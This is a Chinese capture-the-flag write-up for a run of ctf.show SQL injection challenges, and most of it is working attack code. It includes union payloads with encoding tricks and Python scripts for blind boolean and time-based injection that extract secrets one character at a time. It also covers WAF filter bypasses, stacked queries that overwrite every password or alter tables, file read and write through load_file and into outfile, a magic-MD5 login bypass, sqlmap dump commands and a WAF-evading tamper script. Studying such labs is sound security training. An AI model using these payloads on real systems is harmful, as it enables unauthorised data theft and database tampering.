查询语句
//拼接sql语句查找指定ID用户
sql = “select username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";
返回逻辑
//检查结果是否有flag
if($row->username!==‘flag’){
$ret[‘msg’]=‘查询成功’;
}
这里说我们返回的语句中不能包含flag内容。
我们可以绕过
1’ union select hex(username),password from ctfshow_user2–+
查询语句
//拼接sql语句查找指定ID用户
sql = “select id,username,password from ctfshow_user3 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match(’/flag/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}
相对上一题就是多了json_encode
可以用编码形式绕过,这里可以用到两个函数
hex : 转16进制
to_base64 : 转base64
1’ union select 1,hex(username),to_base64(password) from ctfshow_user3–+
查询语句
//拼接sql语句查找指定ID用户
sql = “select id,username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match(’/flag/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}
输入1’ and 1=1#
输入1’ and 1=0#
从这里就可以分析出来有时间盲注,先看看有没有联合注入,发现没有回显只能时间盲注。
这里直接放代码。
import requests
url = "http://2a29bdb8-5bf5-4d82-9391-24cc6beacd48.challenge.ctf.show:8080/api/v4.php?id=1' and "
result = ""
i = 0
while True:
i = i+1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"1=if((ascii( substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid}),1,0)--+"
r = requests.get(url+payload)
if 'admin' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
跑一遍就出flag了。
这里先试一下,然后发现没有回显.
这里我们有两种方法,第一种就是把内容读取出来放在网页根目录,第二种就是写盲注的脚本。
这里我先用一下第二种写网站根目录的。
1’ union select 1,password from ctfshow_user5 into outfile ‘/var/www/html/1.txt’–+
打开页面,发现有回显.
这里查询错误可能是有过滤,这里试一下绕过方法。
先大小写绕过,发现有回显,这里直接查询即可。
payload=1’//union//select//password,1,1//from//ctfshow_user//where//username//=‘flag’%23
1、内连绕过/**/
2、编码绕过%23(#)
过滤了空格。
先尝试 1’and’a’='a
发现执行成功。 再尝试1’ and ‘a’='a
失败了。所以很明显,过滤空格。 我们尝试用内敛注释 %09代替空格,以次绕过。
可以对照这里的绕过方法,我这里采用%0c绕过
payload=1’%0Cunion%0Cselect%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23
这里还是%0C绕过,然后order by查询到有三个字段。
和上题一样的
payload=1’%0Cunion%0Cselect%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23
还是一样的
import requests
url = "http://8cbf3df6-45c0-47a3-aa25-28e2a262a9f1.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
for i in range(0,40):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
data={
'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
}
result = requests.post(url,data)
if 'user_count = 1' in result.text:
flag += j
print(flag)
if j == '}':
exit()
break
脚本二
# @Author:Y4tacker
import requests
url = 'http://57496c50-1b0d-40de-ac22-501e93a1ddbd.chall.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
res = ""
for i in range(1,46):
for j in flagstr:
data = {
'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
res += j
print(res)
break
这里我简单样式一下 (ctfshow_user)where(substr(pass,{i},1))regexp(’{j}’) 这个的意思。
当我在查询file表code字段的第一个字符是一,有回显
0没有回显
然后通过爆破的方式一个一个试出来,大概就是这么个意思。
长期更新。。。。
查询语句是这样的
//拼接sql语句查找指定ID用户
$sql = “select count(*) from “.$_POST[‘tableName’].”;”;
这个是返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match(’/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into|where|\x26|’|"|union|`|sleep|benchmark/i’, $str);
}
先看看我们上一题的payload
(ctfshow_user)where(pass)like’{}%
可以看到这题相对上一题过滤了where还有单双引号,但是没有过滤空格了。
这题其实我也很蒙,所以去参考了各大师傅的wp,但是其他师傅的wp都是就直接扔一个脚本,我一脸懵逼。
having语法:
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name
HAVING aggregate_function(column_name) operator value
具体语法看到https://www.w3school.com.cn/sql/sql_having.asp
但是我们这里因为过滤了单引号,所以不适用了,就没有其他办法了吗?
办法还是有的,就是去掉单引号把匹配的改成16进制,至于为什么能匹配16进制暂时我没找到解释的文章,所以我也没有找了。(主要是因为懒)
我们这里找个在线网站转换一下
然后执行效果是一样的,所以我们开始写payload
import requests
url = "http://3d1238b8-57bd-43c9-b3c3-415cb2fc5135.challenge.ctf.show:8080/select-waf.php"
flag = "ctfshow{"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
def str_to_hex(s):
zimu = ""
zimu2 = ""
for i in s:
zimu += hex(ord(i))
zimu2 = zimu.replace("0x","")
return zimu2
for i in range(100):
for j in str:
data = {
"tableName" : "ctfshow_user group by pass having pass like {}".format("0x"+str_to_hex(flag+j+'%'))
}
# data = {'tableName': 'ctfshow_user group by pass having pass like {}'.format("0x" + str_to_hex(flag + j + "%"))}
# print(data)
r = requests.post(url,data)
if "count = 1" in r.text:
flag += j
print(flag)
break
if j == "}":
exit()
right join
不知道右连接的可以先看看这篇文章https://blog.csdn.net/lp_cq242/article/details/79942457
这题我们直接放payload
import requests
import sys
url = "http://9adb647c-75c6-410d-a688-cf6d91a3259e.challenge.ctf.show:8080/select-waf.php"
flag = "ctfshow{"
str = "0123456789-abcdefghijklmnopqrstuvwxyz{}"
def str_to_hex(s):
return ''.join([hex(ord(c)).replace("0x",'')for c in s])
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass like {}"
for i in range(0,100):
for j in str:
data = {
"tableName" : payload.format("0x"+str_to_hex(flag+j+'%'))
# 'tableName': "ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("0x" + str_to_hex(flag + j + "%"))
}
# print(data)
result = requests.post(url=url,data=data)
if '$user_count = 43' in result.text:
flag += j
print(flag)
if j == '}':
sys.exit()
这里面我用了右连接和内连接,这里要注意内连接和右连接的参数不一样右连接是$user_count = 22,内连接是$user_count = 43,写脚本的时候一定要先带入先测试出数字。
import requests
url = "http://b691bdcf-dc2d-4d56-8fda-7f0fb1273b50.challenge.ctf.show:8080/select-waf.php"
flag = 'ctfshow{'
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
for i in range(60):
if i <= 9:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
}
# print(data)
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;") > 0:
if chr(j) != ".":
flag += chr(j)
print(data)
print(flag.lower())
if chr(j) == "}":
exit(0)
break
还有另一个payload
# @Author:feng
import requests
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
def createStrNum(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str
url="http://725b1dd2-e67c-440b-bd3f-ccab7bdad245.challenge.ctf.show:8080/select-waf.php"
flag="ctfshow{"
for i in range(0,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
data={
'tableName':"ctfshow_user group by pass having pass like(concat({}))".format(createStrNum(flag+j+"%"))
}
r=requests.post(url=url,data=data).text
if "$user_count = 0;" not in r:
flag+=j
print(flag)
if j=='}':
exit()
break
函数
函数:
md5($string,bool): 得到一个字符串散列值。
其中第二个参数默认为false,表示该函数返回值是32个字符的十六进制数。
若指定为true,则表示函数返回的是16字节的二进制格式(这样通过浏览器解析会出现乱码)。
这里需要注意一下MYSQL中的一些数值比较的特征。
1.当数字和字符串比较时,若字符串的数字部分(需要从头开始)和数字是相同的,那么则返回的是true。
select if(1="1a","相等","不相等") as test
if(exp1,stat1,stat2):类似于高级语言中三元运算符。当exp1为true的是否返回stat1,为false返回stat2
2.以数字开头的字符串,若开头的字符不是0,那么在做逻辑运算的时候返回的是1,也就是true。
比如以下语句就是一个万能密码的例子:
select * from user where password =''or'1234a';
若我们可找到字符串,在对该字符串进行md5后能够得到 'or’加上一个非0的字符就可以绕过。这里我们可以用到的字符串为:ffifdyop。它的md5结果是:276f722736c95d99e921722cf9ed621c 。通过这个结果我们可以发现得到16字节的二进制被解析为字符的结果是:'or’6后面接乱码 (27是单引号的16进制编码,67是字母o的16进制…)这样后构造的sql语句就位
select * from user where password=' 'or'6xxx'
参考文章PHP中MD5常见绕过
$sql = “select pass from ctfshow_user where username = {$username}”;
具体介绍看这里https://stackoverflow.com/questions/18883213/why-select-from-table-where-username-0-shows-all-rows-username-column-is-v
我们上面name那一行是有一个数字的,发现当name的值为0的时候可以查询出有关字母的行,运行一下发现数字的那一个没有显示
这是因为数据库进行了弱比较,它select出所有name是以字母为开头的数据
以字母为开头的字符型数据在与数字型比较时,会强制转化为0,再与数字比较(这里很类似于PHP的弱比较)
假设我们username为0,那么就会相等,从而匹配成功
$row[‘pass’]==intval($password) 这里也是弱比较,$row[‘pass’]如果是字母开头就会转为0
这题有两个解
方法一
username=0&password=0
方法二
username=1||1&password=0 (||可换成or)
打开题目发现这题和上一题挺像的,这题少了那个强制转换的,所以没法弱比较绕过
但是这题有个提示:
flag在api/index.php文件中
这里我们由此可以想到mysql当中有个读文件的函数load_file
在这之前我们还得提一下
username=0&password=0返回密码错误,原因在于password不再是以字母开头的字符型数据了
username=1&password=0返回查询失败,因为没有1这个用户
所以这里有一个构造点,就是通过if语句当查询里面的内容相符合的时候我们就返回0,不然就是一
payload:username=if(load_file(’/var/www/html/api/index.php’)regexp(‘ctfshow{’),0,1)&password=0
所以我们开始构造脚本
import requests
url = "http://34163922-8c1d-4c8b-ae9b-332f18511a0a.challenge.ctf.show:8080/api/index.php"
flag = "ctfshow{"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
for i in range(50):
for j in str:
data = {
"username" : "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),
"password" : 0
}
# print(data)
r = requests.post(url,data)
if r"\u5bc6\u7801\u9519\u8bef" in r.text:
flag = flag+j
print(flag)
if "}" in flag:
exit()
break
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//密码只能是数字
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//过滤了file,不能通过网页读取文件了。
根据上面的拼接语句以及过滤语句,我们可以想出布尔盲注。
这里我们先看一下查询语句
拼接sql语句查找指定ID用户
$sql = “select pass from ctfshow_user where username = ‘{$username}’”;
输入admin’ and 1=‘1
输入admin’ and 1='2
这里可以想到利用布尔盲注,这里我们开始写脚本。
payload:
import requests
url = "http://326de554-e624-411c-8dd7-0e0803173905.challenge.ctf.show:8080/api/"
# 目标
result = ""
# 这里是存放最后结果的
i = 0
#
while True:
# 一直循环
head = 32
tail = 127
i = i + 1
while head < tail:
mid = (head + tail) >> 1
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
data = {
'username': f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)='1",
# 这句的意思是查询到对应的字符的ascii码是否大于32或者127之间
'password': '1'
}
r = requests.post(url,data)
if "密码错误" == r.json()['msg']:
# 当密码大于32和127之间的话,就让mid(32和127的中间值),这里因为是大于74.5,所以要加一
head = mid + 1
else:
tail = mid
print(r.text)
if head != 32:
result += chr(head)
else:
break
print(result)
这里说一下就是脚本自己写运行不起来,我这次特意测试了一下,这里错的话一般是错在这里
data = {
'username': f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)='1",
# 这句的意思是查询到对应的字符的ascii码是否大于32或者127之间
'password': '1'
}
这里首先注意的是username后面的冒号离username是没有空格的,然后就是payload一定要有括号包住,脚本这个东西错一点点就运行不起来,特别的气。
很久没有接触堆叠注入,然后一脸蒙,然后我们直接去看大佬博客
0;update`ctfshow_user`set`pass`=999
999
把表里的密码都改成999就可以了。username=0的原因是因为username都会是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来,不用0的话就0x61646d696e,是admin的十六进制,同样可以。
看了一下题目又是不会,只能康康师傅们的wp康康师傅们有什么神操作,一看蒙了
但是这虽然没有过滤select,这个只能16个字符怎么办,这里我们看到这条语句
$row[0]就会等于我们select的内容
payload
1;select(7)
7
import requests
url = "http://5095145c-e5fa-4b57-97f8-37e3cc8f6c02.challenge.ctf.show:8080/api/"
for i in range(1,100):
if i == 0:
payload = "admin;alter table ctfshow_user change `pass` `id2` varchar(100);alter table ctfshow_user change `id` `pass` varchar(100)"
data = {
"username" : payload,
"password" : 1
}
r1 = requests.post(url,data)
data2 = {
"username" : "0x61646d696e",
"password" : i
}
r2 = requests.post(url,data=data2).text
print(r2)
if "ctfshow{" in r2:
print(i)
print(r2)
break
这题因为对用户没有长度限制,所以我们这边可以修改字段。
修改字段的语句是:
alter table ctfshow_user change `pass` `id2` varchar(100);
# username=0;show tables;
# pass=ctfshow_user
简单讲就是当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的。(直接输入网址或者其他页面中的链接点进来的)。
HTTP请求头中的referer字段
1.获取当前MySQL中的所有数据库
python3 sqlmap.py -u “http://43291419-6d58-48ac-88d7-f4216d7fcc25.challenge.ctf.show:8080/api/?id=1” --referer=“ctf.show” --dbs --batch
2.获取当前数据库名字
python3 sqlmap.py -u “http://43291419-6d58-48ac-88d7-f4216d7fcc25.challenge.ctf.show:8080/api/?id=1” --referer=“ctf.show” --dbs --batch ----current-db
3.获取数据库下的数据表
查数据表
sqlmap.py -u “http://ea6a1109-3603-47d2-b9ae-73892287235d.chall.ctf.show/api/?id=1” --referer=“ctf.show” -D “ctfshow_web” --tables
4.获取表下的列名
-D 数据库名
-T 数据表名
-C 字段名
python3 sqlmap.py -u “http://43291419-6d58-48ac-88d7-f4216d7fcc25.challenge.ctf.show:8080/api/?id=1” --referer=“ctf.show” -D “ctfshow_web” -T"ctfshow_user" --columns --batch
5.导出数据
python3 sqlmap.py -u “http://43291419-6d58-48ac-88d7-f4216d7fcc25.challenge.ctf.show:8080/api/?id=1” --referer=“ctf.show” -D “ctfshow_web” -T"ctfshow_user" -C “pass” --dump
开始实战
探测当前数据库
python3 sqlmap.py -u “http://635af35c-5d87-42fb-a83b-75404e0a7f68.challenge.ctf.show:8080/api/index.php” --data=“id=1” --method=PUT --referer=“ctf.show” --dbms=mysql --dbs --headers=“Content-Type: text/plain”
获取数据库下的数据表
python3 sqlmap.py -u “http://635af35c-5d87-42fb-a83b-75404e0a7f68.challenge.ctf.show:8080/api/index.php” --data=“id=1” --method=PUT --referer=“ctf.show” --dbms=mysql --dbs --headers=“Content-Type: text/plain”
获取数据表下的数据字段
python3 sqlmap.py -u “http://635af35c-5d87-42fb-a83b-75404e0a7f68.challenge.ctf.show:8080/api/index.php” --data=“id=1” --method=PUT --referer=“ctf.show” --dbms=mysql -D “ctfshow_web” -T “ctfshow_user” --columns --headers=“Content-Type: text/plain”
获取密码
python3 sqlmap.py -u “http://635af35c-5d87-42fb-a83b-75404e0a7f68.challenge.ctf.show:8080/api/index.php” --data=“id=1” --method=PUT --referer=“ctf.show” --dbms=mysql -D “ctfshow_web” -T “ctfshow_user” -C “pass” --dump --headers=“Content-Type: text/plain”
探测当前数据库
python3 sqlmap.py -u “http://9afa58f3-b3f5-41f3-bf85-4b45813e299
8.challenge.ctf.show:8080/api/index.php” --method=PUT --data=“id=1” --referer=“ctf.show” --current-db --headers=“Content-Type: text/plain” --cookie=“2i6stejs1u6dd60tmk8qsn1vmf;”
获取数据库下的数据表
python3 sqlmap.py -u “http://9afa58f3-b3f5-41f3-bf85-4b45813e2998.challenge.ctf.show:8080/” --data=“id=1” --referer=“ctf.show” -D “ctfshow_web” --tables headers=“Content-Type: text/plain” --cookie=“2i6stejs1u6dd60tmk8qsn1vmf;”
获取数据表的字段
python3 sqlmap.py -u “http://9afa58f3-b3f5-41f3-bf85-4b45813e2998.challenge.ctf.show:8080/” --data=“id=1” --referer=“ctf.show” -D “ctfshow_web” -T “ctfshow_user” --columns headers=“Content-Type: text/plain” --cookie=“2i6stejs1u6dd60tmk8qsn1vmf;”
获取密码
获取数据表的字段
python3 sqlmap.py -u “http://9afa58f3-b3f5-41f3-bf85-4b45813e2998.challenge.ctf.show:8080/” --data=“id=1” --referer=“ctf.show” -D “ctfshow_web” -T “ctfshow_user” -C “pass” --dump headers=“Content-Type: text/plain” --cookie=“2i6stejs1u6dd60tmk8qsn1vmf;”
题目一开始有提示
这里直接给出payload吧,希望师傅们按照步骤一步一步来
探测当前数据库
python3 sqlmap.py -u http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --dbs --headers=“Content-Type: text/plain” --safe-url=http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/getToken.php --safe-freq=1
获取数据库下的数据表
python3 sqlmap.py -u http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --headers=“Content-Type: text/plain” -D ctfshow_web --tables --safe-url=“http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/getToken.php” --safe-freq=1
获取数据表的字段
python3 sqlmap.py -u http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --headers=“Content-Type: text/plain” -D ctfshow_web -T ctfshow_flax --columns --safe-url=“http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/getToken.php” --safe-freq=1
获取密码
python3 sqlmap.py -u http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --headers=“Content-Type: text/plain” -D ctfshow_web -T ctfshow_flax -C flagx --dump --safe-url=“http://4ecbebfe-a802-48cd-a593-bd9982d05de2.challenge.ctf.show:8080/api/getToken.php” --safe-freq=1
这题和上一题是一样的,因为sqlmap会自动的闭合符号,所以这题我就不写payload了对照上一题就好了
python3 sqlmap.py -u http://597c38ad-9b80-464c-8f42-5793a25f35d8.challenge.ctf.show:8080/api/index.php --method=PUT --data=“id=1” --referer=“ctf.show” --dbms=“mysql” --headers=“Content-Type: text/plain” -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --cookie=“PHPSESSID=pe66qrqhc0b747dth9gth9989e” --safe-url=“http://597c38ad-9b80-464c-8f42-5793a25f35d8.challenge.ctf.show:8080/api/getToken.php” --safe-freq=1
tamper结构
tamper由三大结构组成,如下:
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
pass
PROIORITY
PRIORITY是定义tamper的优先级,如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper,PRIORITY有以下几个参数:
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100
值越高,优先级越高。因为我们这里只是绕过安全狗,随便设置个值就ok。
dependencies
dependencies主要是提示用户,这个tamper支持哪些数据库,具体代码如下:
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
效果图是这样的
DBMS.MYSQL这个参数代表的是Mysql,其他数据库的参数如下:
ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL"
ORACLE = "Oracle"
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"
Tamper
tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里
payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个
从过狗到编写tamper
这里不要全部复制,记住url改一下
python3 sqlmap.py -u url/api/index.php --method=PUT --data=“id=1” --referer=ctf.show --dbms=mysql --dbs --headers=“Content-Type: text/plain” --safe-url=url/api/getToken.php --safe-freq=1 --tamper=space2comment
sqlmap.py -u “url/api/index.php” --method=PUT --data=“id=1” --referer=ctf.show --headers=“Content-Type: text/plain” --safe-url=“url/api/getToken.php” --safe-freq=1 --dbms=mysql --current-db --dump --batch --prefix="’)" --tamper=space2comment
过空格,这里脚本看不懂建议可以本地调试一下
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace: # not firstspace 表示为真
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue
retVal += payload[i]
return retVal
python3 sqlmap.py -u http://8cf83c58-8e06-41ae-95b4-7c1d04a8eb22.challenge.ctf.show:8080/api/index.php --method=“PUT” --data=“id=1” --referer=http://8cf83c58-8e06-41ae-95b4-7c1d04a8eb22.challenge.ctf.show:8080/sqlmap.php --headers=“Content-Type:text/plain” --safe-url=http://8cf83c58-8e06-41ae-95b4-7c1d04a8eb22.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --current-db --dump --batch --tamper=ctfshow